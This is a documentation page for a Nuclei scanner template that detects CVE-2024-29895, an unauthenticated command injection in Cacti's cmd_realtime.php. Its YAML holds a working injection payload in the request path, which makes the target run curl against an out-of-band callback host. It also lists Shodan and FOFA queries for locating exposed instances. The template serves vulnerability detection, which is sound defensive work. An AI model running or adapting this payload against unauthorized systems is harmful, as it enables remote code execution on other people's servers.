Skip to content
Nuclei Templates

Cacti cmd_realtime.php - Command Injection

ID: CVE-2024-29895

Severity: critical

Author: pussycat0x

Tags: cve,cve2024,cacti,rce

Description

Section titled “Description”

Cacti provides an operational monitoring and fault management framework. A command injection vulnerability on the 1.3.x DEV branch allows any unauthenticated user to execute arbitrary command on the server when register_argc_argv option of PHP is On. In cmd_realtime.php line 119, the $poller_id used as part of the command execution is sourced from $_SERVER['argv'], which can be controlled by URL when register_argc_argv option of PHP is On. And this option is On by default in many environments such as the main PHP Docker image for PHP.

YAML Source

Section titled “YAML Source”
id: CVE-2024-29895


info:
  name: Cacti cmd_realtime.php - Command Injection
  author: pussycat0x
  severity: critical
  description: |
    Cacti provides an operational monitoring and fault management framework. A command injection vulnerability on the 1.3.x DEV branch allows any unauthenticated user to execute arbitrary command on the server when `register_argc_argv` option of PHP is `On`. In `cmd_realtime.php` line 119, the `$poller_id` used as part of the command execution is sourced from `$_SERVER['argv']`, which can be controlled by URL when `register_argc_argv` option of PHP is `On`. And this option is `On` by default in many environments such as the main PHP Docker image for PHP.
  reference:
    - https://github.com/Stuub/CVE-2024-29895-CactiRCE-PoC
    - https://github.com/Cacti/cacti/blob/501712998589763d411a68d35e3cda98fd9cfd18/cmd_realtime.php#L119
    - https://github.com/Cacti/cacti/commit/53e8014d1f082034e0646edc6286cde3800c683d
    - https://github.com/Cacti/cacti/commit/99633903cad0de5ace636249de16f77e57a3c8fc
    - https://github.com/Cacti/cacti/security/advisories/GHSA-cr28-x256-xf5m
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-29895
    cwe-id: CWE-77
    epss-score: 0.00045
    epss-percentile: 0.14706
  metadata:
    max-request: 1
    vendor: cacti
    product: cacti
    shodan-query: http.favicon.hash:-1797138069
    fofa-query: icon_hash="-1797138069"
  tags: cve,cve2024,cacti,rce


http:
  - method: GET
    path:
      - "{{BaseURL}}/cacti/cmd_realtime.php?1+1&&curl%20{{interactsh-url}}+1+1+1"


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"


      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c6c8df7628445921abf0280ecd903446ae27d6021830e2b791fc8486e5e9fb2b0220773fd6032e53935ea50c49b3b0fa10fbf413ba68bcc5c1ed4fbaee8b8d5425ff:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-29895.yaml"

View on Github